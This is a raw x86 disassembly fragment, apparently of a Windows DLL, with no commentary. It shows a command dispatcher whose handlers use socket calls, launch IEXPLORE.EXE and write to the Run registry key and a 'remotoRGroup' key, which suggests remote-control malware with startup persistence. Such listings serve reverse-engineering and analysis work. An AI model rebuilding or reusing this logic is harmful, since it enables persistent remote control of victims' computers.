call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110051
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002c626
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002c5ac
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002c5e7
mov eax, 0x100d424e
push eax
push reloc.WS2_32.dll_connect
push 0
push str.IEXPLORE.EXE
push 0
push 0
push 0
push 5
mov ebx, 0x18
mov eax, 0x100b6ea0
call fcn.100acb10
add esp, 0x40
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c621
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110053
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002c744
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002c652
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x1002c67c
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x40], eax
mov eax, 0x100dc2f3
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110053
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002c6ad
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c6bd
push ebx
call fcn.100abdd7
add esp, 4
push dword [ebp - 0x40]
push str.110053
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002c6e8
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c70e
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002c73f
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110052
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002c7da
push reloc.WS2_32.dll_connect
push 0
push str.110052
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x14]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.1000565e
add esp, 8
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c7a4
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
lea eax, [ebp - 0x48]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002c7d5
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110054
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002cf1e
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002c806
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002c841
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002c867
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1002c889
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1002c885
imul eax, dword [ebx]
jmp 0x1002c87a
mov ecx, eax
test ecx, ecx
je 0x1002c8a8
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1002c8a1
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1002c88f
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jle 0x1002cea3
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x1002c8f1
push 0x4cf2
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dd0be
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002cacb
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002c93c
push 0x4d42
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x1002c959
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ad5c0
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 2
cmp eax, ecx
jl 0x1002c997
push 0x4d62
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x50], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x1002c9d2
mov eax, 0x100d424e
push eax
push 0x80000301
push 0
push dword [ebp - 0x48]
push 2
mov ebx, 0x6a8
call fcn.100b31d0
add esp, 0x1c
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002ca08
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x54], 0
je 0x1002ca70
push reloc.WS2_32.dll_connect
push 0
push 0x100dd0f2
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110054
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002ca5b
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002ca6b
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002cac6
push reloc.WS2_32.dll_connect
push 0
push 0x100dd0fb
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110054
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002cab6
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002cac6
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002ce9e
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 0
cmp eax, ecx
jl 0x1002caf3
push 0x4e54
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dd104
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002ce9e
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002cb3e
push 0x4e92
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 0x100dd109
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002cbb4
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002cb89
push 0x4ec1
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov eax, 0x100dd112
push eax
mov ebx, dword [ebp - 0x44]
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002cba9
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov ebx, dword [ebp - 0x44]
mov dword [ebx], eax
jmp 0x1002cca0
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002cbdc
push 0x4efc
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x48], ebx
push 0x100dd115
mov ebx, dword [ebp - 0x48]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002cc52
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002cc27
push 0x4f2b
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov eax, 0x100dd11e
push eax
mov ebx, dword [ebp - 0x44]
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002cc47
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov ebx, dword [ebp - 0x44]
mov dword [ebx], eax
jmp 0x1002cca0
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002cc7a
push 0x4f55
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov eax, 0x100d43c5
push eax
mov ebx, dword [ebp - 0x44]
mov ebx, dword [ebx]
test ebx, ebx
je 0x1002cc9a
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov ebx, dword [ebp - 0x44]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x1002ccc8
push 0x4fb6
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
jne 0x1002cce5
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ad5c0
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 2
cmp eax, ecx
jl 0x1002cd23
push 0x4fd6
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 3
cmp eax, ecx
jl 0x1002cd70
push 0x4fd6
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x54], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x54]
mov eax, dword [ebx]
test eax, eax
jne 0x1002cd93
mov eax, 0x100d424e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x50]
test eax, eax
jne 0x1002cdaa
mov eax, 0x100d424e
push eax
push 0x80000301
push 0
push dword [ebp - 0x48]
push 3
mov ebx, 0x6a4
call fcn.100ad110
add esp, 0x28
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002cde0
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x58], 0
je 0x1002ce48
push reloc.WS2_32.dll_connect
push 0
push 0x100dd121
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110054
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002ce33
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002ce43
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002ce9e
push reloc.WS2_32.dll_connect
push 0
push 0x100dd12a
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, str.110054
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002ce8e
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002ce9e
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002cf19
call fcn.10038f62
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002cebe
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002cee4
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110054
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002cf09
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002cf19
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110056
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002d185
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002cf56
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a0
call fcn.100ad2f0
add esp, 0x1c
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002cf91
mov eax, 0x100d42b8
push eax
push 3
mov ebx, 0x19c
call fcn.100ad420
add esp, 0x28
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], ecx
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002cfc0
push ebx
call fcn.100abdd7
add esp, 4
mov ecx, dword [ebp - 0x48]
cmp ecx, reloc.WS2_32.dll_connect
je 0x1002cfe2
push 0x519f
push 0x403116f
push 5
call fcn.100abddd
add esp, 0xc
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x1002cff9
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0x100dce45
push dword [ebp - 0x20]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002d180
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002d029
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x194
call fcn.100ad2e0
add esp, 0x10
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fsub qword [0x100d445e]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
call fcn.10001713
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002d07a
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a4
call fcn.100ae720
add esp, 0x1c
mov dword [ebp - 0x58], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x58]
test eax, eax
jne 0x1002d0a9
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x5c], eax
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x1002d0d5
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x5c]
push eax
call fcn.1003a05e
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1002d0fa
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x1002d110
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x64], eax
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x1002d13c
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x64]
push eax
mov eax, str.110056
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x1002d16d
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x1002d180
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110059
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002d1c7
push 0x80000301
push 0
push dword [0x100e6d3d]
push 1
mov ebx, 0x18
mov eax, 0x100b78e0
call fcn.100acb10
add esp, 0x10
jmp 0x1002dd78
push str.110060
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002d1e5
jmp 0x1002dd78
push str.110033
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002d255
push reloc.WS2_32.dll_connect
push 0
push str.110033
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002d250
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110062
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002d4ef
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002d281
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x60], 0
push 0
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 0x64], 0
push 0
lea eax, [ebp - 0x64]
push eax
mov eax, 0x100d424e
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x68]
push eax
mov eax, 0x100dd14f
mov dword [ebp - 0x6c], eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x70], 0
push 0
push dword [ebp - 0x70]
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
lea eax, [ebp - 0x44]
push eax
call fcn.1000b415
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002d39c
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x6c]
test ebx, ebx
je 0x1002d3af
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x68]
test ebx, ebx
je 0x1002d3c2
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x64]
test ebx, ebx
je 0x1002d3d5
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x1002d3e8
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x5c]
test ebx, ebx
je 0x1002d3fb
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x1002d40e
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1002d421
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002d434
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002d444
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002d454
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x1002d46a
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x174
call fcn.100ada90
add esp, 0x10
mov dword [ebp - 0x80], eax
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x1002d496
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x80]
test eax, eax
jne 0x1002d4ac
mov eax, 0x100d424e
push eax
push reloc.WS2_32.dll_connect
push 0
push str.softwaremicrosoft_remotoRGroup_
push 0x80000301
push 0
push 4
push 3
mov ebx, 0x6a4
call fcn.100ad110
add esp, 0x28
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x1002d4ea
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.110076
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002d7b2
mov ebx, dword [0x100e6d41]
call fcn.10002428
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x1002d7aa
mov ebx, dword [0x100e6d41]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002d554
push 0x5609
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002d571
push 0x5609
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
mov dword [ebp - 0x44], ebx
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002d58e
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002d5d3
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x4c], 0
je 0x1002d7a2
mov ebx, dword [0x100e6d41]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002d607
push 0x5660
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002d624
push 0x5660
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x44], ebx
push 1
push 1
call fcn.1003abd4
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x1002d653
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x9dc
call fcn.100ad5c0
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002d679
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x4c]
mov ebx, dword [ebp - 0x44]
cmp dword [ebx], eax
je 0x1002d7a2
mov ebx, dword [0x100e6d41]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002d6b1
push 0x5703
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x1002d6ce
push 0x5703
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x44], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
push str.110076
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002d724
push ebx
call fcn.100abdd7
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x1002d737
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002d760
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
lea eax, [ebp - 0x50]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1002d79d
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002d7aa
pop eax
pop ebx
pop ecx
jmp 0x1002d51c
add esp, 0xc
jmp 0x1002dd78
push str.110078
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x1002d9da
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002d7de
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dd15f
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002d822
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x1002d94b
call fcn.1003c30d
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002d847
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002d86d
push ebx
call fcn.100abdd7
add esp, 4
lea eax, [ebp - 0x48]
push eax
mov eax, str.110078
mov dword [ebp - 0x4c], eax
lea eax, [ebp - 0x4c]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002d892
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002d8a2
push ebx
call fcn.100abdd7
add esp, 4
push 0x80000301
push 0
push dword [0x100e6d45]
push 1
mov ebx, 0x1c
mov eax, 0x100b7900
call fcn.100acb10
add esp, 0x10
push 0x80000301
push 0
push 0x64
push 1
mov ebx, 0x1c
mov eax, 0x100b7310
call fcn.100acb10
add esp, 0x10
call fcn.1003c751
push 0x80000301
push 0
push 0x64
push 1
mov ebx, 0x1c
mov eax, 0x100b7310
call fcn.100acb10
add esp, 0x10
push 0x80000301
push 0
push 0x100e6d45
push 0
push 0
push 0
push reloc.WS2_32.dll_getsockname
push 0
push 0x1003ea57
push 3
mov ebx, 0
mov eax, 0x100b7880
call fcn.100acb10
